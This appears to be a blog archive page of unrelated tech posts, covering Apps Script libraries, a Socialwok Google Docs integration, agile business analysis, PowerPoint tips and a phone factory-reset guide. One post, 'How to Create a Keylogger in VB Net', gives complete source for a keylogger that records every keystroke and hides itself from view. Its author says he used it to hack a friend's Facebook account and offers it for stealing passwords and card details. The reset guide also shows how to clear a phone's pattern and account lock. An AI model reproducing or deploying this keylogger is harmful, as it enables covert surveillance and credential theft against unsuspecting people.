Showing posts with label in. Show all posts
Showing posts with label in. Show all posts

Thursday, March 12, 2015

Deprecating Script Gallery in the old version of Google Sheets

Recently we launched add-ons for Google Docs and Sheets. Now developers can easily package Apps Script applications as add-ons and distribute these scripts via the add-on store. The add-on store gives developers wider distribution, automatic updates, versioning and is vastly superior to the restrictive script gallery that it was designed to replace.

Starting today, we are deprecating the option for developers to publish to the script gallery. No new gallery submissions will be accepted or approved, but scripts already present in the gallery will remain accessible (via the old version of Sheets).

If you rely on distributing or consuming your script from the script gallery, then please convert your script into an add-on and follow the add-on publication instructions.

Read more »

Wednesday, March 11, 2015

Using open source libraries in Apps Script

JavaScript has long been the de facto choice for client-side web development, but lately its been catching on server-side as well. While we like to think that Apps Script has contributed to the trend, projects such as Mozillas Rhino and Node.js have also done a great deal to popularize the concept. As a result, developers have created a wealth of new open-source JavaScript libraries, and in this post well talk about how you can leverage them in your Apps Script projects.

Underscore
One library I wanted to use in my scripts was Underscore, which describes itself as "a utility-belt library for JavaScript." It provides a wealth of helper functions that make coding in JavaScript cleaner and more enjoyable. Take, for example, the simple situation where you want to log each value in a range.

// Using plain JavaScript.
for (var i = 0; i < values.length; i++) {
for (var j = 0; j < values[i].length; j++) {
Logger.log(values[i][j]);
}
}

Although writing for loops like this is a common pattern, its a fair amount of typing and you need to keep track of counter variables that serve little purpose. Underscore provides an each() method that makes the process much simpler.

// Using Underscore.
_.each(values, function(row) {
_.each(row, function(cell) {
Logger.log(cell);
});
});

Passing anonymous functions as parameters takes a little getting used to, but if youve worked with jQuery, the pattern feels familiar.

Underscore also has some great extensions, and Underscore.string provides some useful string manipulation features. My favorite is the ability to use sprintf() notation in JavaScript, which can simplify the process of building complex strings.

// Using plain JavaScript.
var message = "Hello, " + firstName + " " + lastName + ". Your wait time is " + wait + " minutes.";

// Using Underscore.string.
var message = _.sprintf("Hello, %s %s. Your wait time is %d minutes.", firstName, lastName, wait);

Integrating with Apps Script
The simplest way to include the Underscore library in a project would be to paste its source code directly into your script, but this would lead to a lot of duplication if you end up using it in multiple projects. Earlier this year, we released a feature in Apps Script called libraries that allows you to share scripts and include them in other projects. Packaging a JavaScript library like Underscore as an Apps Script library is possible, but requires some helper functions to work correctly.

When Underscore loads, it creates a global variable named "_" that you use to access its functionality. Apps Script specifically prevents the global scope of a library from interfering with the global scope of the script that includes it, so I built a helper function into the library to pass the variable around.

// In the library.
function load() {
return _;
}

In my script that includes the library, I simply make a call to that function and use the result to set up my own "_" variable.

// In the script that includes the library.
var _ = Underscore.load();

To try my copy of the Underscore library in your own project, use the project key "MGwgKN2Th03tJ5OdmlzB8KPxhMjh3Sh48" and the code snippet above. You can browse the full source code here.

Using it with the HtmlService
Using the code above, I could easily include the library in my server-side Apps Script code, but I also wanted to use these functions client-side in my web app served by the HtmlService. To accomplish this, I created a copy of the Underscore source code, wrapped it in <script> tags, and stored them in Html files (instead of Script files). These snippet files could then be included in my web apps HtmlTemplates using the helper function below.

// In the library.
var FILES = [Underscore.js, Underscore.string.js, Init.js];
function include(output) {
for (var i = 0; i < FILES.length; i++) {
var file = FILES[i];
output.append(
HtmlService.createHtmlOutputFromFile(file).getContent());
}
}

This function was called in the web apps HtmlTemplate using the simple code below.

<!-- In the web app that includes the library. -->
<html>
<head>
<? Underscore.include(output) ?>
</head>
...

Other libraries
Integrating with Underscore was fairly easy, but trying the same approach with other open-source libraries may be a bit more complicated. Some libraries wont run correctly in the Apps Script environment if they rely on certain capabilities within the browser or Node.js runtime. Additionally, to be served by the HtmlService, the code must pass the Caja engines strict validation, which many popular libraries dont meet. In some cases, you may be able to manually patch the library to work around these issue, but this usually requires a deep understanding of how the library works.

We hope youre inspired to use Underscore and other open-source libraries in your own work. If you find a library that works great with Apps Script, share it with me on Google+ and Ill help get the word out.


Eric Koleda profile

Eric is a Developer Programs Engineer based in NYC on the Google Apps Script team. Hes previously worked with the AdWords API and enterprise content management software.

Read more »

Tuesday, March 10, 2015

Sharing and previewing Google Docs in Socialwok Google Data APIs

Editors note:Navin Kumar is CTO and co-founder of Socialwok, a feed-based group collaboration application for enterprises that integrates with Google Apps. With Socialwok, Google Apps users can create their own private social network to share Google Docs, Calendars and Spreadsheets with their coworkers. Navin and his team built Socialwok on Google App Engine for Java, Google Web Toolkit and Google GData APIs. Socialwok will be at the Google IO sandbox May 19 - 20, 2010.

At Socialwok (http://www.socialwok.com/tour), we work extensively with a wide variety of Google technologies (Google App Engine, Google Web Toolkit), OpenID, OAuth, and Google Data APIs (Google Docs, Google Calendar, Google Spreadsheets, etc...) while building our product.

Sharing and Previewing Google Docs in feeds

Most enterprise microblogging or collaboration solutions exist in their separate walled garden. Users have to use separate logins and post status updates independently of their existing workflow. From the start, we designed Socialwok to be integrated with the workflow of businesses who use Google Apps. Users can use their existing Google Apps or Gmail accounts to login into Socialwok. They can access all features of Socialwok from right inside Gmail. They can also create and share their existing Google Docs (Documents, Presentations, Spreadsheets) and Google Calendars with other coworkers who are following them in a feed.

In the below example, I upload a Microsoft Powerpoint (ppt) to Google Docs for sharing in a feed.

Uploading a Microsoft Powerpoint file for sharing using Google Docs
Google Docs automatically converts the Microsoft Powerpoint to a Google Presentation that can be previewed from right inside Socialwok. By clicking the preview option, we preview the Google Presentation in a new tab.

Successful posting of the Google Presentation shared in a feed
Previewing the Google Presentation from the Socialwok web using the Google Data API

Using Google Docs viewer to preview Google Docs, PDF, PPT, XLS in Socialwok Desktop and Mobile Web

Another really cool feature introduced in our recent release is the ability to preview Google Docs, PDF, PPT, or XLS files directly in the Socialwok web interface with no download required. Using the Google Documents Viewer, our users can preview any Google Document, pdf, ppt or XLS directly from their desktop web browser or their HTML5-capable WebKit mobile browser (iPhone and Android).

Preview of a shared pdf document from Socialwoks desktop web application using the Google Docs Viewer
The same applies to other common file formats like Adode Portable File (pdf), Microsoft Excel (xls) and other Google Docs supported formats. Socialwok provides businesses with cloud based access to their office documents from both the web and the mobile (HTML 5).

Preview of a shared pdf document using Google Docs viewer from Socialwoks HTML 5 mobile web page

Sharing Google Docs using the Google Data APIs

We use the Google GData APIs to upload the document, and then proceed to attach it to a new Socialwok status update. The latest version of the Google GData Java APIs work great on Google App Engine Java, with almost no configuration. Now, before accessing and manipulating Google Docs or Calendar from the GData APIs, we must make sure that we have authentication credentials for the current user. Our application stores the existing user in the session. Heres how we do that using the low-level Java datastore APIs.
Entity currentUser = (Entity) httpRequest.getSession()
.getAttribute("userObject");
Each Google Apps or Google Accounts user actually logs in to Socialwok using their own Google authentication credentials. We accomplish this using the Hybrid Step2 OpenID/OAuth authentication flow. You can learn more about this flow here. From this flow, we gain the users credentials via OAuth, and store the OAuth token and token secret in another child object of our user:
Query query = new Query("GoogleAccount", currentUser.getKey());
Entity googleAccount = dataService.prepare(query).asSingleEntity();
GoogleOAuthParameters oauthParameters = new GoogleOAuthParameters();
oauthParameters.setOAuthConsumerKey(
oauthProps.getProperty("google.consumerKey"));
oauthParameters.setOAuthConsumerSecret(
oauthProps.getProperty("google.consumerSecret"));
oauthParameters.setOAuthToken(
(String) googleAccount.getProperty("oauthToken"));
oauthParameters.setOAuthTokenSecret(
(String) googleAccount.getProperty("oauthSecret"));
We now use the Google Docs GData APIs to upload the document. Google GData APIs use Atom Feeds to retrieve and upload new information into existing Google Services like Google Docs. For Google Docs, this involves using the MediaStreamSource API.
DocsService service = new DocsService("Socialwok-v1");
service.setOAuthCredentials(oauthParameters,signer);

MediaStreamSource streamSource = new MediaStreamSource(fileInputStream,
contentType);
streamSource.setName(filename);
DocumentListEntry inserted = service.insert( new URL(
"http://docs.google.com/feeds/default/private/full/?convert="+
doConvert), DocumentListEntry.class, streamSource);
Notice the URL used for uploading the Google Doc. This is a universal URL for uploading new files to Google Docs. The convert parameter is actually very important; it determines whether the file will be converted to a new Google Doc (Document, Presentation, Spreadsheet), or will be uploaded as an arbitrary file without any conversion.

Previewing Google Docs using the Google Data APIs

After uploading the presentation to Google Docs, sometimes another user who is following you would like to preview that presentation quickly without having to fully open Google Docs in order to see the file. To do this, we examine how the actual Google Docs interface previews documents. Each of the 3 different types of Google Docs has its own specific viewer or previewing mode url to simply view the files.

For documents, when you are in the editor, if you click "View," and then click "Webpage preview." You will then get your Google Doc displayed as a webpage. The URL of this "viewer" is:
https://docs.google.com/a/socialwok.com/View?docid=0Adnk...dkZmNoOTIyNQ
For reference, the editor link for this document is:
https://docs.google.com/a/socialwok.com/Doc?docid=0Adnk...dkZmNoOTIyNQ
As you can see the transformation between these 2 URLs is quite simple. Therefore we can perform the following to actually bring up a viewable Google Doc in Socialwok.
  1. Get the Google Docs entry from the datastore.
    Entity fileAttachment = datastoreService.get(attachmentKey);
    String entryId = fileAttachment.getProperty("fileId");
  2. Get the Google Docs entry from the Google Docs GData Service.
    URL entryUrl = new URL(entryId);
    DocumentListEntry docEntry = service.getEntry(entryUrl,
    DocumentListEntry.class);
  3. Get the document link from the Google Docs Entry
    String docLink = docEntry.getDocumentLink().getHref();
  4. Convert the link to the viewer.
    if (docEntry instanceof DocumentEntry) {
    docLink = docLink.replace("/Doc","/View");
    }
Its important to note that since Socialwok uses your Google Apps or Gmail account to login through OpenID, you are already logged into Google services. In Socialwok, you can click the Mail, Calendar, or Docs links to access each of those Google products. Because of this authentication, its very easy for us to place this link into an <iframe> tag and embed this in our Socialwok interface. Heres the GWT code to do just that:
import com.google.gwt.user.client.ui.Frame;
...
Frame viewerFrame = new Frame();
viewerFrame.setUrl(docLink);
viewerFrame.setHeight("500px");
viewerFrame.setWidth("600px");
containerWidget.add(viewerFrame);
Heres are the different Google Docs editor to viewer mappings, with the changes highlighted:



Document TypeActionURL
DocumentEdithttps://docs.google.com/a/<domain>/Doc?docid=...
DcumentViewhttps://docs.google.com/a/<domain>/View?docid=...
PresentationEdithttps://docs.google.com/a/<domain>/present/edit?id=...
PresentationViewhttps://docs.google.com/a/<domain>/present/view?id=...
SpreadsheetEdithttps://spreadsheets.google.com/a/<domain>/ccc?key=...
SpreadsheetViewhttps://spreadsheets.google.com/a/<domain>/lv?key=...

Previewing PDF, PPT, and XLS files using the Google Document Viewer

Google Docs has a fantastic feature that lets users preview any PDF,PPT, XLS, or TIFF file via a HTTP link. You can try the viewer out at http://docs.google.com/viewer. If you look at the bottom of this page, there is information on how to construct your own URLs so that you can either link or embed the viewer in your own web sites. Heres the rundown on the parameters:

Technical Documentation - Instructions for building your own URLs
All viewer URLs should use the path http://docs.google.com/viewer . This path accepts two parameters:
url : The URL of the document to view. This should be URL-encoded.
embedded : If set to true , the viewer will use an embedded mode interface.

For example, if you wanted to view the PDF at
http://labs.google.com/papers/bigtable-osdi06.pdf,
you would use the URL:
http://docs.google.com/viewer?url=http%3A%2F%2Flabs.google.com%2Fpapers%2Fbigtable-osdi06.pdf

We will use the embedded parameter to display the viewer in our own interface. To construct the URL to the embedded viewer with the example given by Google, we get the following:
http://docs.google.com/viewer?url=http%3A%2F%2Flabs.google.com%2Fpapers%2Fbigtable-osdi06.pdf&embedded=true
We can then place this URL in an <IFRAME> element to embed the viewer in our application.
<iframe src="">http://docs.google.com/viewer?url=http%3A%2F%2Flabs.google.com%2Fpapers%2Fbigtable-osdi06.pdf&embedded=true" style="width:600px; height:500px;" frameborder="0"></iframe>
Heres how to create the same using the GWT Frame widget in Java.
import com.google.gwt.user.client.ui.Frame;
...
Frame viewerFrame = new Frame();
viewerFrame.setUrl("http://docs.google.com/viewer?url=http%3A%2F%2Flabs.google.com%2Fpapers%2Fbigtable-osdi06.pdf&embedded=true");
viewerFrame.setHeight("500px");
viewerFrame.setWidth("600px");
containerWidget.add(viewerFrame);
As you can see, its really quite easy to use the embedded Google Document Viewer. You can check out more information on the Google Document Viewer on the Google Docs blog.

Extending Socialwok using our APIs. Meet Socialwok at Google IO

The above example of sharing and previewing Google Docs using the Google Docs viewer is the result of developers pushing the envelope using Google App Engine with the ever expanding suite of Google APIs. Here at Socialwok, we continue to challenge ourselves in creating innovative web services that leverage on all that cloud computing has to offer. We will continue to have more features and integrations in the future, and we will be opening up Socialwoks APIs for developers in the next few months. You can follow all these developments at our official blog http://blog.socialwok.com.

We would love to hear from fellow developers who would like to create applications to extend Socialwok; please email us at info@socialwok.com.

Socialwok will be at Google I/O in the Developer Sandbox in May where we will be giving demos of a new major add-on service to Socialwok. If you would like a demo, email us at info@socialwok.com and drop by the Socialwok demo station at Google I/O.

Read more »

Tune in to YouTube at 6pm for a Big Announcement


At 6:00 pm PST this evening, we will be live streaming an important announcement at Google Campfire One about our latest developer efforts on the Google Developers YouTube channel. Dont miss it!

Read more »

The role of a business analyst in agile

I ran into Kevin Brennan tonight at #agile2011. I was glad for the chance to talk to him because Ive received quite a few questions from BAs in Winnipeg about how their role will change when they work on agile projects and Kevin has been doing a lot of work with the agile extension to IIBAs BABOK.

Here are is a summary of our conversation:

  • How many BAs can articulate the goals and objectives of their company, team, or project? Start here if you cannot.
  • Even if you are able to articulate the goals and objectives - can your team? Without understanding the project goals and objectives the team doesnt have enough information to help them make decisions about scope and priorities and often makes decisions based on Is this helping somebody? which can increase the scope of the project.
  • BAs can help facilitate the alignment of priorities and goals - enabling the business to speak to the development team with one voice.
  • Facilitate requirements and a common understanding of the proposed system through inclusive modeling techniques (eg. user story maps, silent brainstorming, product box - see more here)
  • Facilitate the acceptance of change (rather than the restriction of it).
  • BAs dont do any less analysis, but they will end up doing less documentation. This reminds me of this tweet:
    “Documents we write communicate our good thinking. You can write one without thinking. You can communicate good ideas without a document.” – Jeff Patton (Jan. 19, 2011 - twitter)
  • As a BA, if you need to create a document, it will more likely be after the story is complete rather than before creating the story. Some additional guidelines for documentation on agile projects can be found here.
Plus, here are a few more that I thought of after our conversation:
  • Collaborate with testers who share many of the same concerns about priorities, goals, scope, and requirements.
  • One thing that doesnt change is the need to work with the business as any software produced by the team may change the business processes. Even with iterative delivery, there will be adjustments to be made.
If you have others to add or even disagree with some above - please comment or find Kevin or myself during the conference and well chat.
Read more »

Monday, March 9, 2015

New features in Admin SDK Custom user attributes and opening up access to all domain users

[ed: This post originally appeared on the Google Developers Blog]

By Muzammil Esmail, Product Manager, Google for Work

The Admin SDK provides a comprehensive directory experience for Google for Work customers to help them meet specific business needs around data storage for customers. Here are some important updates to this SDK.


Custom attributes in the user’s profile
Now available is a new feature in the Directory API which allows you to add custom attributes for your users. For instance, you could store the projects your users work on, their desk number, job level, hiring date — whatever makes sense for your business.


Once the custom attributes for your domain have been defined, they behave just like regular fields in the user profile. You can get and set them for your users and also perform searches on custom fields (e.g. “all employees that work on the shinyNewApp in Hyderabad”).


Custom attributes can be of different data types; they can be single- or multi-valued. You can configure whether they are “public” i.e. visible to everyone on the domain, or “private” i.e. visible only to admins and the users themselves.


Read access to all domain users
Historically, only admins have been able to access the data in the Admin SDK. Beginning today, any user (not just admins) will now be able to call the Directory API to read the profile of any user on the domain (of course, we will respect ACLing settings and profile sharing settings).


We hope that you will be able to use this new feature to build business applications (e.g. corporate yellow pages, expense approval, vacation management, workflow applications, etc.) that can be used by all your users.

Please feel free to go through our documentation to go learn more about the Admin SDK, and specifically the Directory API. Happy hacking!
Read more »

Monday, March 2, 2015

How to Make a Simple Frame in PowerPoint

Its Tuesday again!  For a while, the poll was acting screwy, but the votes were all restored just in time!  The winner was "How to Make a Simple Frame in PowerPoint!"


If you want to make a more complex frame, 
be sure to check out my previous tutorial:
   

Anyway... here are the recovered poll results!

Yes, yes, I know it says 5 hours left to vote, so the votes arent final, but Im writing this up in NY (its currently Monday as I type this!) and Im not sure how much longer well have power!  For everyone else being affected by this hurricane... stay safe!

Now, onto the tutorial!




You can download this tutorial as a PDF by clicking this picture!
Note: This tutorial is hosted on Google Docs.  To save it from there, just open the file and click File > Download to save onto your computer!

For next weeks poll, Im going to add how to add an easy border to your pictures... like I did with the pictures on the post about my pumpkin bulletin board!



Read more »

Saturday, February 28, 2015

Web 2 0 Tools in Education A Quick Guide Prof Mohamed Amin Embi

Web 2.0 Tools in Education: A Quick Guide by Mohamed Amin Embi


The best quick guide (230 pages) for Web 2.0 Tools in Education that I have come across (Ever!). 230 pages sounds a lot, but when you are covering 20 learning tools with screenshots, it is pretty quick and lovingly light!

Useful? I certainly think so!
Read more »

Thursday, February 12, 2015

String in C Part 1

Till now I told you about the arrays in C language. I have also explained the close relation between arrays and pointers. Now lets move this journey to one step forward. Today I will tell you about the strings in C language. In this tutorial I will cover all the basics related to strings.


String in C

Earlier we used integer arrays to store group of integer elements. Similarly in C language we use strings to store group of characters. They are used to manipulate text such as words and sentences. Remember strings are similar to arrays but they are not same. Sometimes strings are also called character arrays.

A string always ends with a null character i.e.
Read more »

Colours in Blackness A New Life

Colours in Blackness A New Life Cover


Download Now
Read more »

Wednesday, February 11, 2015

How to Create a Keylogger in VB Net

In this article we are going to develop our own Hacking Program. This article is on how to create a keylogger in vb.net. First of all lets take a look on what a keylogger is.

What is a Keylogger?

Keylogger is a program that records every keyboard keys pressed by a computer user. It is mostly used by hackers to steal confidential information like password, credit card credentials, etc.

Note: This article is only for educational purpose. I am not responsible for anything you do illegal with this program.

Also Read: How to Make a Tic Tac Toe Game in VB.Net

So apart from hacking credit card credentials I usually used keylogger to hack my friend’s facebook account. That’s why I have given you the source code so that you can also do the same. Visit below link for keylogger free download.


- Keylogger Free Download -



How to Create a Keylogger in VB.Net?

How to Create a Keylogger in VB.Net

1. So lets begin with designing the GUI (Graphical User Interface). First of all open Visual Studio & create a new project.

2. Now add 3 Buttons from Toolbox and name them Start, Stop & Hide. Start button will help us to start recording the keystrokes pressed. Stop will help us to stop recording the keystrokes and the best one is Hide, it will help us to make our keylogger invisible (it will run in background).

3. Now add a RichTextBox – This will help us to display the recorded Keystrokes.

4. Add a timer and set its interval to 170 (Don’t enable the timer). Our GUI designing is completed, now we need to write our code.

5. Double click the form so that you can switch to code view, now clear all the code and paste the following code:

Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Public log As String
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
Button1.Text = "Started !"
Button2.Text = "Stop Recording"
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
Button1.Text = "Start Recording"
Button2.Text = "Stopped !"

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If (GetAsyncKeyState(65)) Then
log = log + "A"
ElseIf (GetAsyncKeyState(66)) Then
log = log + "B"
ElseIf (GetAsyncKeyState(67)) Then
log = log + "C"
ElseIf (GetAsyncKeyState(68)) Then
log = log + "D"
ElseIf (GetAsyncKeyState(69)) Then
log = log + "E"
ElseIf (GetAsyncKeyState(70)) Then
log = log + "F"
ElseIf (GetAsyncKeyState(71)) Then
log = log + "G"
ElseIf (GetAsyncKeyState(72)) Then
log = log + "H"
ElseIf (GetAsyncKeyState(73)) Then
log = log + "I"
ElseIf (GetAsyncKeyState(74)) Then
log = log + "J"
ElseIf (GetAsyncKeyState(75)) Then
log = log + "K"
ElseIf (GetAsyncKeyState(76)) Then
log = log + "L"
ElseIf (GetAsyncKeyState(77)) Then
log = log + "M"
ElseIf (GetAsyncKeyState(78)) Then
log = log + "N"
ElseIf (GetAsyncKeyState(79)) Then
log = log + "O"
ElseIf (GetAsyncKeyState(80)) Then
log = log + "P"
ElseIf (GetAsyncKeyState(81)) Then
log = log + "Q"
ElseIf (GetAsyncKeyState(82)) Then
log = log + "R"
ElseIf (GetAsyncKeyState(83)) Then
log = log + "S"
ElseIf (GetAsyncKeyState(84)) Then
log = log + "T"
ElseIf (GetAsyncKeyState(85)) Then
log = log + "U"
ElseIf (GetAsyncKeyState(86)) Then
log = log + "V"
ElseIf (GetAsyncKeyState(87)) Then
log = log + "W"
ElseIf (GetAsyncKeyState(88)) Then
log = log + "X"
ElseIf (GetAsyncKeyState(89)) Then
log = log + "Y"
ElseIf (GetAsyncKeyState(90)) Then
log = log + "Z"
ElseIf (GetAsyncKeyState(48)) Then
log = log + "0"
ElseIf (GetAsyncKeyState(49)) Then
log = log + "1"
ElseIf (GetAsyncKeyState(50)) Then
log = log + "2"
ElseIf (GetAsyncKeyState(51)) Then
log = log + "3"
ElseIf (GetAsyncKeyState(52)) Then
log = log + "4"
ElseIf (GetAsyncKeyState(53)) Then
log = log + "5"
ElseIf (GetAsyncKeyState(54)) Then
log = log + "6"
ElseIf (GetAsyncKeyState(55)) Then
log = log + "7"
ElseIf (GetAsyncKeyState(56)) Then
log = log + "8"
ElseIf (GetAsyncKeyState(57)) Then
log = log + "9"
ElseIf (GetAsyncKeyState(96)) Then
log = log + "{Num0}"
ElseIf (GetAsyncKeyState(97)) Then
log = log + "{Num1}"
ElseIf (GetAsyncKeyState(98)) Then
log = log + "{Num2}"
ElseIf (GetAsyncKeyState(99)) Then
log = log + "{Num3}"
ElseIf (GetAsyncKeyState(100)) Then
log = log + "{Num4}"
ElseIf (GetAsyncKeyState(101)) Then
log = log + "{Num5}"
ElseIf (GetAsyncKeyState(102)) Then
log = log + "{Num6}"
ElseIf (GetAsyncKeyState(103)) Then
log = log + "{Num7}"
ElseIf (GetAsyncKeyState(104)) Then
log = log + "{Num8}"
ElseIf (GetAsyncKeyState(105)) Then
log = log + "{Num9}"
ElseIf (GetAsyncKeyState(106)) Then
log = log + "{Num*}"
ElseIf (GetAsyncKeyState(107)) Then
log = log + "{Num+}"
ElseIf (GetAsyncKeyState(13)) Then
log = log + "{Enter}"
ElseIf (GetAsyncKeyState(109)) Then
log = log + "{Num-}"
ElseIf (GetAsyncKeyState(110)) Then
log = log + "{Num.}"
ElseIf (GetAsyncKeyState(111)) Then
log = log + "{Num/}"
ElseIf (GetAsyncKeyState(32)) Then
log = log + " "
ElseIf (GetAsyncKeyState(8)) Then
log = log + "{Backspace}"
ElseIf (GetAsyncKeyState(9)) Then
log = log + "{Tab}"
ElseIf (GetAsyncKeyState(16)) Then
log = log + "{Shift}"
ElseIf (GetAsyncKeyState(17)) Then
log = log + "{Control}"
ElseIf (GetAsyncKeyState(20)) Then
log = log + "{Caps}"
ElseIf (GetAsyncKeyState(27)) Then
log = log + "{Esc}"
ElseIf (GetAsyncKeyState(33)) Then
log = log + "{PGup}"
ElseIf (GetAsyncKeyState(34)) Then
log = log + "{PGdn}"
ElseIf (GetAsyncKeyState(35)) Then
log = log + "{End}"
ElseIf (GetAsyncKeyState(36)) Then
log = log + "{Home}"
ElseIf (GetAsyncKeyState(37)) Then
log = log + "{LArrow}"
ElseIf (GetAsyncKeyState(38)) Then
log = log + "{UArrow}"
ElseIf (GetAsyncKeyState(39)) Then
log = log + "{RArrow}"
ElseIf (GetAsyncKeyState(40)) Then
log = log + "{DArrow}"
ElseIf (GetAsyncKeyState(45)) Then
log = log + "{Insert}"
ElseIf (GetAsyncKeyState(46)) Then
log = log + "{Del}"
ElseIf (GetAsyncKeyState(144)) Then
log = log + "{NumLock}"
ElseIf (GetAsyncKeyState(188)) Then
log = log + "{,}"
End If
RichTextBox1.Text = log
Dim hotkey1 As Boolean
hotkey1 = GetAsyncKeyState(Keys.K)
If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.ShiftKeyDown AndAlso hotkey1 Then
Me.Visible = True
Me.ShowInTaskbar = True
End If
End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
MsgBox("Press Ctrl+Shift+K to make keylogger visible !", MsgBoxStyle.Information)
Me.Visible = "false"
Me.ShowInTaskbar = "false"
End Sub
End Class

Quick Tip: If you are facing any error then make sure your form Name is Form1.
Read more »

Tuesday, February 10, 2015

Women Presence in the Programming World

Why is it today women are moving forward in all other worlds of business, while amongst the programmers the number of women is shrinking rather than expanding? Especially in the STEM (science, technology, engineering, and math) workforce over the past few years not only are women not interested in joining, but they’re actively leaving their jobs. 

Something in these facts needs to make a 180 in the not too far future. It is expected by 2020 in North America that there will be 1.7 million computing positions available. Now tell me, how are we going to meet these workforce requirements without the help of the all powerful women? Females also add a unique view point to the programming world that is urgently needed by the male-dominated field.

Also Read: The Top 5 Sexiest Female Programmers in the World

Back in Time 
If we go all the way back to the 1800s to meet Ada Lovelace, the first computer programmer, we’ll learn that women we’re essential to the history of computer programming. She began using an analytical machine to translate mathematical documents, and later this mechanical machine came to be the first computers. The computer programming language ADA is used in aviation and the military is named after her. 

It wasn’t always this way however, in the 1960s computer programming was a natural and inviting choice for tech savvy young women to go into. Cosmopolitan magazine even wrote an article describing women as ‘naturals when it comes to computer programming.’ In fact some of the world’s first computer programmers were young ladies from the University of Pennsylvania hired to do a project for ENIAC, setting up one of the first electronic computers.


Women Presence in the Programming World

Women continued to dominate this computer programming field for awhile thereafter. Mainly because programming at the time was seen amongst other ‘womanly’ jobs like secretarial work, filing, etc. They still left the hardware side of the computing, the more masculine job, to the men.

Also Read: The Top 10 Greatest Programmers in the World of all Time

When did the Shift Come along? 
Eventually, the intellectual challenge of computing code came along, and it was no longer mundane programming which many associated with other clerical work. Now the stereotypes that were there all along became apparent and relevant and the male oriented ‘math’ brain came to take over.


Women Presence in the Programming World

There was an addition in the late 60s of tools to help simplify the hiring process. These tools were heavily based on aptitude tests that singled out specific math and problem solving practices that men were more likely to know because those were the subjects they studied in school. There was another personality test used for hiring at the time that actually aimed to find antisocial and introverted behaviors, and then originated the stereotype of the anti-social computer geek and until now has effectively scared away most females from the profession.

Today, and Tomorrow 
Studies show that today, as society we’re still not making it any easier as it once was for young girls to enter into the field of computer science. We haven’t successfully found a way to combat this stereotype that says that programmers are anti-social or unimaginative and hence girls remain uninterested. In fact the stereotype formed in the 1960s has become its own self-fulfilling prophecy, employers seek employees who fit within this existing mold, and students when deciding what to study look within to match character traits with pre-existing stereotypes. This is why still today women make up just 18% of computer science majors.


Women Presence in the Programming World

Although there are certainly more men in the tech space than women, there are a couple of key leading ladies that can inspire young women to be the computer programmers of tomorrow. We all have a lot to learn from entrepreneurs like Marissa Mayer, CEO of Yahoo!, and Sheryl Sandburg, the VP of Facebook. 

It’s true that they’re often the only lady in the room, but they’re paving the way so girls going into the industry today don’t have to be.

Also Read: 5 Tips to Become a Better Programmer

There are a number of ways we can change these statistics for tomorrow. 

1. Lydia Thomas, CEO of Noblis emphasized that education about technical fields must start in childhood. If girls aren’t captured at a very young age they may reach a point of no return. It’s especially important that parents encourage their daughters not to be closed minded and embrace other opportunities in the technical fields.

2. Expose young girls to the technical field in a formal classroom setting. It’s also very difficult for women to become involved in these fields if they’ve never even been exposed to them.  It’s important for high schools and colleges to actively guide more women into technical courses to teach them and give them the chance to succeed in a classroom setting.

3. There’s more to be done in the workplace to ensure more women are being hired. Make technology positions seem more desirable to today’s youth and specifically women, and also work harder amongst HR and people in hiring positions to dispel the self-fulfilling prophecy of the programmer stereotype. Here are two more tricks that can help you get new female tech talent.

There’s no reason, in today’s day in age when you tell someone to think of a computer programmer the image brought to mind shouldn’t be equally male or female. There are things we need to work on as a society to invoke these changes, so we’ll be prepared for the technological future we’re riding into.

Author Bio:-
Eli Lopian is the Founder and Head of Products & Technology at Typemock. He enjoys a white board, code and transforming developing environments. Secretly his one true love is Unit Testing and he has dedicated his life to making unit testing easier for everyone else.

Image Credits: Wikipedia, The Clayman institute for gender research
Read more »

HowTo Install Google Chrome in Fedora 17

1. go to https://www.google.com/chrome
2. click on the download chrome button




3. select the correct architecture for your installation (mine is 64 bit .rpm (For Fedora/openSUSE))

4. click on the accept and install
5. after downloading look to your Downloads folder (/home/user/Downloads)
6. double click on the google-chrome-stable_current_x86_64.rpm file
7. it will automatically install google chrome after you supply it with your root password
Read more »

Thursday, February 5, 2015

Photoshop like image editing in PowerPoint 2010

PowerPoint 2010 offers editing options both for video as well as images. With images, quite common editing is removing the background or getting a small piece of a big picture suitable for your slide. Till now Adobe Photoshop is the widely used software for removing the background or other image editing related stuff.

Remove the background from an image in PowerPoint 2010
PowerPoint 2010 offers a cool new Background removal tool which will make image editing quite a fun. As per Microsoft "Unlike similar tools, the Office Background Removal tool doesn’t just select color ranges or trim to a border you draw. Background Removal uses new capabilities and algorithms from the Microsoft Research in Cambridge, UK to achieve better results automatically with very little effort or fine tuning from the user."

The new Remove Background tool as claimed by Microsoft is intelligent enough to identify background and forground thus making the task of background removal easy. You just need to select the area(marquee selection area ) of the picture which you want to keep or use on the slide. For refinemnet you can mark the areas you want to keep or remove manually.



You can find more information about image editing in PowerPoint 2010 on Microsoft blog.
Read more »

Tuesday, February 3, 2015

Remove password pattern lock gmail account in your O 8 31

This is an alternative way to factory reset your O+ 8.31 without android system recovery. Sometimes this phone does not come up with android system recovery.

We need to use PC to factory reset your phone. Because this phone does not have an android system recovery. But the alternative for that is the fastboot mode.









You can do this in Windows and Linux OS. 



First you need to download a file. 

1. ADB Fastboot Driver --> Download Here

2. ADB Fastboot Tools -- >Download Here


After Downloading all the files. And install first the driver.


Hard resetting / factory resetting your phone will solve the following issues:

1. If you forgot your pattern lock

2. If you forgot your gmail account

3. If you forgot your password

4. Apps that automatically force closing

5. Stuck in Logo Only (sometimes does not work if the firmware is totally damage)


NOTE: Performing hard reset / factory reset will erase your data.


Using fastboot command.


1.Turn off your phone

2. Press and Hold Volume Down and Power button together

3. A fastboot word in your phone will appear

4. Connect your phone in the PC via USB, the driver will automatically install

5. Go to the file that you extracted and look for commandprompt.bat

6. In command prompt type this two command below

fastboot -w

fastboot reboot
7. Wait for your phone to reboot properly.



LINUX Mode


First you need to update your package manager and download fastboot tools for android.


Here is how to download it

1. Open terminal or press this ctrl + alt + T and it will open
up Terminal, this is for Ubuntu, Lubuntu command that I have tried.


2. Then in terminal type the following command

sudo apt-get update

